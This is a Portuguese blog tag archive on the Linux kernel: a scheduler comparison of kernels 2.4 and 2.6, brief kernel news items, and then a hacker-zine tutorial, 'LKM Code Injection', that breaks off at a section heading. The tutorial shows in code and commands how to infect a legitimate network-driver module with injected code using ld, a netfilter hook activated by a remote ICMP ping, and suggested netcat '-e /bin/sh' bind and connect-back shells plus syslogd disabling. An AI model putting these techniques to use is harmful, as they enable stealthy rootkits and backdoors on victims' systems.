Arquivos de Tags: kernel

Algoritmo de escalonamento: Kernel 2.4 Versus 2.6

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-[07]-=[Algoritmo de escalonamento: Kernel 2.4 Versus 2.6]=-
=-|Felipe Goldstein|-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

–=[ Introdução

O Algoritmo de escalonamento é o coração de um Kernel. Existem muitos algoritmos e a eficiência de cada um deles depende do tipo de aplicação que será executada. O Linux, por ser voltado para o computador pessoal, executa em sua maioria, tarefas que interagem com o usuário. Portanto o algoritmo volta-se principalmente para sistemas interativos. Aqui, discutirei em linhas gerais, o funcionamento do algoritmo de escalonamento do kernel 2.4 e suas desvantagens em relação ao do kernel 2.6.

--=[ Kernel 2.4

--=--=[ Breve descrição do funcionamento do algoritmo de escalonamento

O escalonador do Linux divide o tempo de CPU em Eras (epochs). Em cada Era, cada processo tem um time-quantum que especifica o tempo que o processo vai adquirir de CPU durante a Era atual. Quando o time-quantum de um processo acaba, o escalonador é chamado e outro processo começa a rodar.

Uma Era termina quando todos os time-quantum dos processos ativos acabam. Então a lista ligada dos processos é completamente varrida, e para cada processo, é calculado uma nova prioridade e um novo time-quantum. Por este motivo, o algoritmo de escalonamento do kernel 2.4 tem a ordem de O(n) no número de processos ativos. O fator linear do algoritmo vem diretamente do fato de que o acesso à lista ligada é linear, e também da necessidade de se recalcular a prioridade de cada processo entre cada mudança de Era, porém como veremos no kernel 2.6 isto pode ser feito no momento em que se insere o processo na lista.

Os processos ativos dividem-se em duas listas ligadas usadas pelo escalonador. Uma guarda os processos que ainda não extinguiram todo o seu time-quantum designado para a Era atual e estão esperando para serem escalonados, chamada run-queue enquanto a outra guarda os processos que já extinguiram o seu time-quantum e estão esperando para serem escalonados na próxima era, chamada expired-queue.

--=--=[ Tipos de Processos

Existem 2 tipos básicos de processos: Processos de Tempo Real e os processos convencionais. Os processos de Tempo Real são processos que requerem respostas em tempos determinados. Para isso eles precisam de um maior determinismo do sistema e portanto recebem maior prioridade. Estes tipos de processos recebem uma prioridade que é sempre maior que a dos outros processos convencionais e esta prioridade não muda depois que o processo começa a rodar.

Os processos convencionais recebem uma prioridade que muda conforme a necessidade e no caso do kernel 2.4, basicamente a prioridade muda conforme a quantidade de time-quantum não usada pelo processo em seu último escalonamento, o que faz com que processos IO-Boud recebam maior prioridade (pois este tipo de processo deixa sempre sobrando algum time-quantum quando vai dormir esperando um evento de IO).

--=--=[ Quem deve executar primeiro ?

Uma das principais tarefas do escalonador é fazer a escolha dentre os processos na lista run-queue de qual processo executar primeiro. A escolha é feita pegando da lista run-queue o processo com o maior fator Goodness que é calculado da seguinte maneira:

  • Goodness = 0 Se o processo acabou o seu time-quantum. A menos que este processo seja o primeiro processo na lista run-queue e todos os outros processos tenham também acabado seu time-quantum , este processo não será selecionado agora.
  • 0 < Goodness < 1000 Se o processo eh convencional e ainda não acabou com seu time-quantum, Goodness é a soma da prioridade do processo com o que resta do seu time-quantum somado com 1.
  • Goodness >= 1000 Se o processo é de Tempo Real, seu Goodness é a soma de 1000 com sua prioridade.

Perceba que para fazer esta escolha, todos os processos são percorridos e é calculado o fator Goodness de cada um, o que também implica uma ordem de O(n) ao algoritmo de escalonamento.

--=--=[ Sistemas Multiprocessados

Além da escolha de qual processo rodar primeiro, o escalonador deve escolher também (num sistema multiprocessado) em qual CPU o processo vai rodar. Para melhor utilizar a memória Cache, o kernel 2.4 tenta escolher a CPU no qual o processo já estava rodando. Mas isso pode causar um overload de uma CPU enquanto outras estão ociosas. Então essa escolha é feita usando um fator que leva em conta o tamanho da memória cache do processador e sua frequência. Baseado nesse fator o escalonador decide se vale ou não a pena colocar o processo no mesmo processador. Porém ainda assim, no Kernel 2.4, existe uma situação em que um processo pode ficar 'pulando' de uma CPU para outra constantemente, desperdiçando a memória cache. Este já era um bug conhecido a tempos.

--=--=[ Performance do Kernel 2.4: Desvantagens

  • O Algoritmo não é escalável: Conforme aumenta o número de processos ativos, aumenta o overhead no escalonamento. O kernel leva mais tempo pra decidir qual processo rodar, diminuindo o desempenho do sistema.
  • Estratégia adotada para processos do tipo IO-Bound não é ótima: Dar preferência aos processos do tipo IO-Bound é uma boa estratégia, mas ela não é perfeita. Imagine que você tenha um processo rodando em background como um banco de dados que a todo momento precisa ler dados do HD, porém ele não precisa ter um tempo de resposta rápido. Com este algoritmo, este tipo de processo vai levar vantagem sobre os outros que não são IO-Bound. Outro problema acontece quando um processo que é CPU-Bound precisa também interagir rapidamente com o usuário, este tipo de processo vai ter menos prioridade por ser CPU-Bound.
  • Kernel não é preemptivo: No kernel 2.4 e anteriores, para cada operação de escalonamento e context-switch um mutex-lock global precisa ser adquirido antes de entrar na seção crítica do código. Esta seção crítica é na verdade o código completo do escalonador. Assim, num sistema multiprocessado, apenas um processador podia executar o escalonador por vez.

O mutex-lock global impede que dois ou mais processadores executem o escalonador ao mesmo tempo e isso pode representar perda de tempo de processamento, pois os processadores que estão tentando adquirir o mutex vão ter que esperar até o mutex ser liberado. Além disso, durante a execução do escalonador as interrupções são desligadas, e portanto o kernel não é preemptivo. Durante uma chamada de sistema, o código executado no espaço de kernel não pode ser interrompido. Por exemplo, por um processo de alta prioridade (pode ser de Tempo Real) que acabou de acordar e precisa executar na frente de qualquer outro tipo de processamento.

Tudo isso traz péssimas implicações para processos de Tempo Real, pois diminui o determinismo da prioridade de execução de um processo de Tempo Real.

--=[ Kernel 2.6 - Mudanças

--=--=[ Objetivos

Ao se projetar um novo escalonador para o kernel do linux, mantendo as boas características que o kernel 2.4 trazia e adicionando novas e interessantes, os objetivos principais foram os seguintes:

  • Boa performance de interatividade, mesmo durante uma sobrecarga de uso de CPU: Se o usuário clica então o sistema deve reagir instantaneamente e executar a tarefa do usuário de forma suave.
  • Justiça: Nenhum processo deixa de receber ao menos um pequeno pedaço de tempo da CPU e nenhum processo recebe injustamente um grande pedaço de tempo da CPU. Respeitando as prioridades de cada processo.
  • Prioridades: Tarefas menos importantes recebem prioridades menores, tarefas mais importantes recebem prioridades altas.
  • Eficiência em ambiente multiprocessado: Nenhuma CPU deve ficar ociosa se existe trabalho a fazer.
  • Afinidade de CPU em ambiente multiprocessado: Processos que rodaram numa CPU têm afinidade a ela, e assim que possível, permanecer executando na CPU em que já foi executada. Nenhum processo deve ficar trocando de CPU muito frequentemente.

As novas características que chamam mais atenção são as seguintes:

  • Escalonamento completo usando um algoritmo O(1): Sistema muito mais escalável. O número de processos executando não afeta o desempenho do kernel.
  • Kernel Preemptivo: Escalabilidade perfeita num ambiente multiprocessado. Não existe mais nenhum mutex-lock global para proteger a área de código do escalonador. Existe agora 1 lista de processos ativos (run-queue) por CPU, permitindo o acesso em paralelo às run-queues sem a necessidade de mutex.
  • Escalonamento tipo Batch: Uma grande porção dos processos CPU-Bound se beneficiam da maneira Batch de escalonamento, onde os time-quantum são grandes e os processos são escalonados por round-robin. O novo escalonador designa este tipo de escalonamento (Batch) para os processos com baixa prioridade, e a nova política de prioridade dinâmica designa menores prioridades quanto mais CPU-Bound for o processo.
  • Sistema mais confiável para processos Real Time: O fato do kernel ser Preemptivo e o algoritmo de escalonamento ser O(1) melhora o comporta mento do sistema em relação à dar prioridade às tarefas Real Time, pois agora uma chamada de sistema feita por uma tarefa de prioridade menor pode ser interrompida por uma tarefa de maior prioridade para que ela entre em execução imediatamente.

--=--=[ Vetor de Prioridades

Ao invés de usar só uma lista ligada gigante com todos os processos ativos, foi usado uma outra abordagem na qual temos um vetor de tamanho fixo cujo tamanho é o número de níveis de prioridades. Cada elemento do vetor aponta para uma lista ligada de processos que tem a mesma prioridade.

Essa é a estrutura básica do novo escalonador: A lista run-queue, agora é um vetor de prioridades ordenado e cada CPU têm sua própria run-queue. O vetor de run-queue contém todas as tarefas que têm afinidade com a CPU e ainda têm time-quantum para executar, enquanto o vetor de expired-queue contêm as tarefas que tem afinidade com a CPU e que expiraram seu time-quantum, de maneira que este vetor expired-queue (assim como o run-queue) também é mantido ordenado.

A estrutura do array de prioridades é descrita como:

struct prio_array {
    int nr_active;                       /* number of tasks */
    unsigned long  bitmap[BITMAP_SIZE];  /* priority bitmap */
    struct list_head queue[MAX_PRIO];    /* priority queues */
};

MAX_PRIO é número de níveis de prioridades do sistema. Para cada prioridade é mantida uma lista ligada dos processos que estão naquela prioridade. O escalonador escolhe para executar primeiro a lista dos processos no maior nível de prioridade e executa-os em Round-Robin.

Existe um número fixo de níveis de prioridades, e para escolher um novo processo basta pegar o próximo elemento do vetor de prioridades, portanto, o algoritmo neste caso é O(1), pois temos um tempo constante executado em cada escolha de qual processo executar.

--=--=[ Recalculando os time-quantum

No 2.4, cada vez que terminava uma Era, percorria-se todos os processos recalculando os time-quantum de cada um. No kernel 2.6, o calculo do time-quantum ocorre quando o processo termina todo seu time-quantum da Era atual. Assim, antes de ser passado para o vetor de expired-queue, seu time-quantum e também sua prioridade são recalculados. O vetor de expired-queue é mantido ordenado e contém os processo com os time-quantum já calculados da próxima Era. Quando a Era atual termina, basta trocar os ponteiros do vetor de run-queue por expired-queue e o novo vetor de processos ativos está pronto para ser executado.

A abordagem do kernel 2.6 é uma mistura de lista de prioridades com escalonamento por Round-Robin. Os processos de uma mesma prioridade são escalonados por Round-Robin, mas as prioridades maiores são escalonadas primeiro.

--=--=[ Resposta Rápida

Uma das coisas que mais deixam os usuários do sistema irritados, é a demora no tempo de resposta de um comando. No kernel 2.6 este problema é evitado da seguinte maneira: ao invés de aumentar a prioridade de processos IO-Bound, diminui-se a prioridade dos processos que querem consumir muito tempo de CPU quando tempo de CPU está escasso.

--=[ Conclusão

Essas foram as principais mudanças do kernel 2.4 para o 2.6. O Linux sempre foi um sistema operacional voltado para o usuário de Computador Pessoal e por isso conceitos como processamento de tarefas de Tempo Real, escalabilidade no número de CPUs e no número de processos ativos não foram prioridades no desenvolvimento do seu Kernel.

Um usuário de PC rodando o kernel 2.4 não vai notar a menor diferença quando fizer o upgrade para o 2.6, visto que seu PC só tem 1 processador e ele só roda no máximo, digamos, 100 processos em paralelo. Além disso não se usa o linux como um Sistema Operacional para controlar um sistema de Tempo Real, como um piloto automático de um avião ou um sistema de controle de temperatura de uma usina nuclear. O Linux não foi projetado para esse tipo de coisa, mas com essas mudanças se consegue chegar mais perto do que seria um sistema mais escalável e confiável.

Segundo Theodore Tso (um dos desenvolvedores do kernel), na conversa que teve hoje com os alunos da computação no IC (Instituto de Computação - Unicamp), as futuras versões do kernel caminham em direção a se ter mais robustez para aplicações de Tempo Real, adicionando mais predictabilidade e determinismo à execução de tarefas que exigem alta prioridade.

--=[ Fontes

1) Livro: Understanding the Linux Kernel , By Daniel P. Bovet & Marco Cesati , Editora O'Reilly

2) Livro: Linux Kernel Development , By Robert Love , Editora Sams

3) Email:From: Ingo Molnar
To: linux-kernel-mailing-list
Subject: [announce] [patch] ultra-scalable O(1) SMP and UP scheduler
Date: Fri, 4 Jan 2002 03:19:10 +0100 (CET)

Este email pode ser encontrado em:
http://kerneltrap.org/node/341

4) web: http://www.hpl.hp.com/research/linux/kernel/o1.php

5) web: http://www.linuxgazette.com/node/9746

6) web: http://www.faqs.org/docs/kernel_2_4/lki-2.html

_EOF_

Lançado o Linux 2.6.30

“Linus Torvalds anunciou o lançamento da versão 2.6.30 do Linux, trazendo uma série de novidades e melhorias, entre as quais destaco o sistema de arquivos NILFS, o fastboot (que procura pelos dispositivos de armazenamento em paralelo com outras tarefas do boot), a inclusão do MicroBlaze entre as arquiteturas suportadas, e o módulo de segurança

Fonte

[]‘s

O retorno do Linux Kernel Newbies Brasil

“A comunidade Linux Kernel Newbies Brasil está de volta.

O site br.kernelnewbies.org já ficou fora do ar e ressurgiu em múltiplas ocasiões nos últimos anos, então eu até entendo se não acreditarem em mim, mas eu afirmo: dessa vez é pra valer. 8)

O site está hospedado usando a mesma infra-estrutura usada pelo site principal em inglês, www.kernelnewbies.org, e há várias maneiras de participar:

Se você tem dúvidas, envie para o forum do site ou para a lista de e-mail, ou pergunte no canal de IRC (#kernel-br na rede OFTC). Todas as dúvidas são bem vindas: das mais básicas às mais avançadas.

Se você tem experiência, pode compartilhar conhecimento no forum, lista de e-mail, ou no canal de IRC. Ou, se gosta de escrever, você pode criar uma conta no site, e escrever ou traduzir material. Cada usuário registrado possui uma área pessoal no site, onde pode criar conteúdo que pode ser promovido para a página principal.

Pra quem – como eu – não gosta de ficar fazendo polling em forums na web e prefere acompanhar as coisas por e-mail, é possível receber notificações de novo conteúdo ou posts no forum por e-mail.”

Enviado por Eduardo Habkost (ehabkostΘraisama·net) – referência (br.kernelnewbies.org).

Fonte

O Mapa Interativo do Kernel Linux

O Mapa Interativo do Kernel Linux

O kernel do Linux é um dos projetos open source mais complexos. Há muitos livros sobre o kernel, é complicado entendê-lo e “desmontá-lo”.Uma página com um mapa interativo do kernel dá uma visão de como ele se estrutura. Você pode ver as camadas mais importantes, funcionalidades, módulos, funções e chamadas. Cada função no mapa é um link para o código do objeto em questão.

Linux Kernel map

Linux Kernel map

LKM Code Injection

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

–=[ Introdução

Melhor que conseguir elevar privilégios em um sistema e deixar um LKM nosso, com backdoors, rootkits, ou o que for, e’ colocar isso tudo em um LKM do sistema. Desta forma, a detecção de rastros de uma intrusão fica um pouco mais difícil. Neste pequeno texto, veremos de maneira clara (eu espero) como podemos infectar  um LKM, adicionando mais funções ou modificando-as,  da maneira que acharmos uteis ao nossos objetivos.

O assunto pode parecer um pouco complexo para iniciantes, entretanto o que e’ tratado e’ somente o básico. Então, se já possui um conhecimento do assunto, e’ mais proveitoso procurar por algo mais avançado para leitura. Conhecimento prévio sobre a escrita de LKM e bem-vindo, embora não seja indispensável. Exemplos e citações são feitos  tendo em mente o kernel do GNU/Linux, 2.4.x.

–=[ O que sao LKMs

LKMs são “pedaços” do kernel, que podem ser carregados e descarregados dinamicamente, aumentando (ou diminuindo) a gama de opções e funcionalidades que são disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou seja, não esta embutido no próprio kernel, LKMs tem diversas vantagens a código escritos diretamente no kernel. Entre elas temos:

  • Economia de memoria: Pelo fato de ser carregada somente quando necessário, não existe desperdício de memoria com funções que não são utilizadas constantemente;
  • Facilidade na compilação e debug: LKMs apos carregadas são parte do kernel, entretanto não precisam ser compiladas junto com ele. Podem ser escritos e compilados a qualquer momento. Quando se tem problemas com o código, é possível fazer um debug dele com facilidade muito maior do que se o código estives-se embutido no kernel. E’ mais rápido descarregar o modulo, modificar o código, recompilar e recarregar o modulo do que reescrever a parte do código que esta no kernel, recompilar tudo e reiniciar o computador!
  • Novos drivers podem ser testados sem precisar reiniciar o sistema. E são em drivers que iremos nos concentrar.

–=[ Inicio – Primeiros Exemplos

A forma mais simples de entender como funciona e’ com exemplos. Inicialmente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado como modulo do sistema, que futuramente sera infectado:

/*
* Simples exemplo de um lkm que nao faz nada,
* mas poderia ser, por exemplo, um driver de
* uma placa de rede.
* Compile com $gcc -O3 -c driver_original.c
*/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
static int __init inicio(void)
{
printk ("<1> Iniciando driver_original \n");
printk ("<1> Executando funcoes iniciais\n");
printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
return 0;
}
static void __exit fim(void)
{
printk ("<1> Finalizando modulo orignal \n");
}
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

Antes de carregar o modulo, é interessante ter o syslogd funcionando corretamente e com a seguinte linha no seu arquivo de configuração (normalmente /etc/syslog.conf):

kern.alert   /var/log/alert

Dessa forma poderemos observar melhor as mensagens que serão emitidas pelo modulo. Apos isso, compile o código e carregue o modulo:


#gcc -O3 -c driver_original.c
#insmod driver_original.o

As opções passadas para o gcc são:


||  -O3: Optimize yet more.  -O3 turns on all optimizations specified
|| by -O2 and also turns on the -finline-functions and -frename-registers
|| options. (E' uma opcao para otimizacao do objeto criado pelo gcc.).
||
||  -c: Compile or assemble the source files, but do not link.  The linking
|| stage simply is not done. The ultimate output is in the form of an object
|| file for each source file.

As seguintes mensagens devem aparecer em ‘/var/log/alert’ (ou não, elas ainda podem aparecer em outro arquivo de log, sinistramente):


Nov 14 17:24:57 matrix kernel:  Iniciando driver_original
Nov 14 17:24:57 matrix kernel:  Executando funções iniciais
Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a suas funções

Com o driver(pseudo-driver que faz absolutamente nada mais do que exibir mensagens) criado, podemos agora criar o modulo que contem o código que sera injetado no driver_original.o:

<++> lkm_injection/infector.c
/*
* Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
* seja, so executa alguma funcao durante o carregamento dele), que sera
* utilizado para ser injetado em um outro modulo.
*/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
return 0;
}
<-->lkm_injection/infector.c

Observe que o modulo anterior possui apenas uma função, a init_module. Essa função é a equivalente a “main()” em um programa em C comum, ou seja, é a primeira função a ser executada na execução do modulo, que no caso é o carregamento dele. Como deve imaginar, existe também uma função executada logo antes do descarregamento do modulo. Essa função é a “cleanup_module()”.

Compile o código e carregue o modulo:

#gcc -O3 -c infector.c
#insmod infector.o

A seguinte mensagem deve aparecer em ‘/var/log/alert’:

Nov 14 17:36:29 matrix kernel:  Iniciando funções do módulo injetado

Por enquanto, tudo que temos são dois módulos separados (note que a única coisa que os módulos estão fazendo ate agora e’ exibir mensagens no arquivo de log. Leve em conta o seguinte:

  • As funções do driver_original.o já existem, como código do modulo do sistema que futuramente sera infectado. Poderíamos estar usando como exemplos o código de um driver real, mas isso apenas complicaria de forma desnecessária a explanação de como podemos efetuar a infecção;
  • As nossas funções – backdoors, rootkits, etc – serão adicionadas em breve(por você, obvio, apenas sera mostrado que é possível fazer e como poderia ser feito).
  • Voltando ao que vale, o que precisamos fazer agora, e’ injetar o modulo infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o GNU Linker (ld):


||    "ld  combines  a  number of object and archive files,
||    relo­cates their data and ties up  symbol  references.
||    Usually the last step in compiling a program is to run
||    ld."

Para injetar o código do infector.o dentro do driver_original.o, podemos fazer da seguinte forma:

#ld -r -z muldefs infector.o driver_original.o -o devil.o

Basicamente o que é feito aqui é uma injeção da função ‘int init_module(void)’ (a única) do modulo infector.o para o modulo driver_original.o, criando um novo modulo, chamado devil.o. O código do driver_original.o deve ter ficado parecido com o seguinte:

/** driver_original_infectado */
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
static int __init inicio(void)
{
printk ("<1> Iniciando driver_original \n");
printk ("<1> Executando funcoes iniciais\n");
printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
return 0;
}
static void __exit fim(void)
{
printk ("<1> Finalizando modulo orignal \n");
}
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
return 0;
}
/** fim de driver_original_infectado */

Apos carregar ele (#insmod devil.o), o seguinte e’ visto em ‘/var/log/alert’:

Nov 14 18:34:42 matrix kernel:  Iniciando funções do modulo injetado

Esta funcionando, mas não perfeitamente, ainda. Alguns detalhes devem ser observados. Um pouco de teoria: Em um LKM, a primeira função a ser executada é a init_module() OU alguma função passada como argumento para a macro module_init() (que no caso do driver_original.c, foi a função ‘inicio’). A macro module_init() esta declarada em ‘/usr/src/linux/include/linux/init.h’:


|| /**
||  * module_init() - driver initialization entry point
||  * @x: function to be run at kernel boot time or module insertion
||  *
||  * module_init() will add the driver initialization routine in
||  * the "__initcall.int" code segment if the driver is checked as
||  * "y" or static, or else it will wrap the driver initialization
||  * routine with init_module() which is used by insmod and
||  * modprobe when the driver is used as a module.
|| */
|| #define module_init(x)  __initcall(x);

Se observar, vera que no código teria tanto a função “module_init” quanto a “init_module”. Então, caso o código acima fosse compilado, ocorreria um erro:

error: redefinition of `init_module'
error: `init_module' previously defined here

O mesmo ocorreria se eles fossem compilados separados e posteriormente linkados. Para contornar este problema, compilamos os arquivos separadamente e linkamos,  passando o argumento ‘-z muldefs’ para o ld,  informando a ele para aceitar definições múltiplas de uma mesma função. Desta forma podemos substituir (sobrescrever) a função ‘module_init(inicio)’, que inicializa o driver_original
.o, pela função init_module() do modulo infector.o.

Dessa forma teríamos o nosso modulo injetado dentro do modulo que estamos tentando infectar. Só tem um detalhe: A função ‘module_init(inicio)’ que sera sobrescrita contem código que pode ser essencial para o modulo, em sua versão não infectada (aqui o código original apenas exibe mensagens, mas normalmente não é apenas isso que ocorre), e deve continuar sendo executado. Para que tudo funcione corretamente, basta que o modulo infector.o, em sua inicialização, execute uma chamada para a função inicio() do modulo driver_original.o. Complicou? Observe:

<++> lkm_injection/infector2.c
/*
* Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
* seja, so executa alguma funcao durante o carregamento dele), que sera
* utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
* principal do modulo infectado
*/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
printk ("<1> ***inicializando modulo original*** \n\n");
inicio (); // funcao inicio do driver_original, chamada para
// inicializacao dele
return 0;
}
<--> lkm_injection/infector2.c

Compilamos o novo modulo e linkamos com o modulo original, criando um outro modulo, chamado devil.o:

# gcc -O3 -c infector2.c
# ld -r -z muldefs infector2.o driver_original.o -o devil.o

Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em ‘/var/log/alert’:


Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado
Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original***
Nov 14 18:39:24 matrix kernel:  Iniciando driver_original
Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais
Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a suas funcoes

Exatamente o que é necessario:

  • Nosso modulo e’ executado, fazendo o que precisa;
  • Nosso modulo chama a função original do modulo que foi infectado;
  • Modulo original funciona normalmente, como se nada tivesse acontecido.

Só precisamos de algum codigo util para ser executado e algum modulo para servir de hospedeiro!

–=[ Localizando o Hospedeiro

Como dito anteriormente, a primeira função a ser executada em um modulo pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infecção de um modulo que seja inicializado por  module_init(FUNCAO), só precisamos nos certificar que o código que infectou o modulo original faca uma chamada para ‘FUNCAO’, garantindo assim que tudo que deve ser executado por ele ao ser carregado realmente sera executado. Agora, no caso da infecção de um modulo que é inicializado por init_module(), a situação é diferente. É necessário literalmente reescrever o init_module() do modulo original dentro do modulo que ira causar a  infecção. Isto  pode  ser  um  tanto chato de se fazer, dependendo do tamanho da função de inicialização. Por este simples motivo, sera dado preferencia aos módulos que sejam inicializados por module_init(FUNCAO).

Decidir qual modulo utilizar não deve ser uma tarefa muito complicada.Vamos levar em consideração o seguinte:

  • Para que possamos acessar uma maquina remota, ela obviamente esta conectada a rede através de algum dispositivo, que normalmente é uma interface de rede (ethernet);
  • Para que a interface de rede possa ser utilizada, é necessária a utilização de algum tipo de driver;
  • A maioria das distribuições de Linux atualmente, colocam os drivers de interfaces de rede como módulos;

Com estas informações, conclui-se que é bastante interessante a infecção de um driver de interface de rede (se a maquina não carregar este modulo a cada inicialização do sistema, ela não terá acesso a rede e nos não teremos acesso a ela de qualquer forma, por isso a escolha). Outro detalhe que vale observar é que muitas maquinas costumam utilizar placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos módulos (sistemas diferentes utilizando módulos iguais), o que facilitaria bastante a escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes modulos controladores de dispositivos de rede:


|| /** realtek 8139 */
|| /*
||   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
||    Maintained by Jeff Garzik <jgarzik@pobox.com>
||   Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */


|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
||    Copyright 1999 Silicon Integrated System Corporation
||    Revision: 1.08.06 Sep. 24 2002
||
||    Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */


|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
||  A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */

O codigo completo dos arquivos esta em ‘/usr/src/linux/drivers/net’. Nota alguma semelhanca entre o codigo desses drivers e o codigo do “driver_original.c”? Observa-se que muitos destes drivers estao codificados de forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados, vamos juntar alguns codigos interessantes para injetar neles.

–=[ Colocando Algum Código Util

Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas ideias:

  • Uma backdoor;
  • Um logcleanner;
  • Um rootkit;
  • Um sninffer;
  • Qualquer coisa que voce tiver ideia! Você esta no comando.

Com as ferramentas em maos, vamos ver uma pseudo-implementação de algum código realmente util. O codigo a seguir é uma LKM que contem um código inofensivo, até que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras, o código nocivo da LKM é ativado por um PING remoto de 50 bytes, que pode ser feito assim: $ping -s 22 ip.da.vitima). Isso é feito com a criacao de um hook no netfilter, que é adicionado antes de outras possiveis regras que poderiam ter sido criadas para bloquear pacotes ICMP, ou seja, você pode com isso passar por um conjunto de regras que tornaria a vitima inacessivel. E mais, você pode criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP tenha acesso irrestrito. Resumindo, você pode inutilizar as regras que tenham sido criadas.

Para execucao, é possível colocar o que quiser: uma backdoor (que tal executar o netcat ouvindo em uma porta X e passar a opcao “-e /bin/sh” para ele? Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslogd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a maquina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o código nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos. No exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em mente no momento que for implementar algo e controle a execucao do codigo nocivo. Segue a implementacao:

<++> lkm_injection/injekt.c
/*
* Implementacao de lkm com codigo nocivo ativado remotamente,
* atraves do recebimento de um pacote ICMP de 50 bytes, que pode
* ser alterado passando o parametro pkt_size:
* #insmod injekt.o pkt_size=100
*
*/
#define __KERNEL__
#define MODULE
#define P_SIZE_OFFSET 28
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>
/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff*));
/* funcao principal do modulo */
int __init init_injekt()
{
printk ( "<1> Inicializando : icmp_pkt_size:  " \
"%i bytes\n\n", pkt_size + P_SIZE_OFFSET);
/* informacoes para registrar o hook do netfilter */
nfh.hooknum  = NF_IP_LOCAL_IN;
nfh.priority = NF_IP_PRI_FIRST;
nfh.hook     = i_ll_hook_you;
nfh.pf       = PF_INET;
/* a hook e' criada */
nf_register_hook(&nfh);
return 0;
}
/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
/* remove a hook */
nf_unregister_hook( &nfh );
}
/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
return 0;
}
/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff * ) ) {
struct sk_buff *sk = *skb;
/* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
sk->len == P_SIZE_OFFSET + pkt_size ) {
/* informa que recebeu o pacote */
//printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len );
i_am_terrible();
return NF_STOLEN; /* elimina o pacote! */
}
return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}
/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs <tds@motdlabs.org>" );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
<--> lkm_injection/injekt.c

–=[ Cenario Real: Infectando um Driver

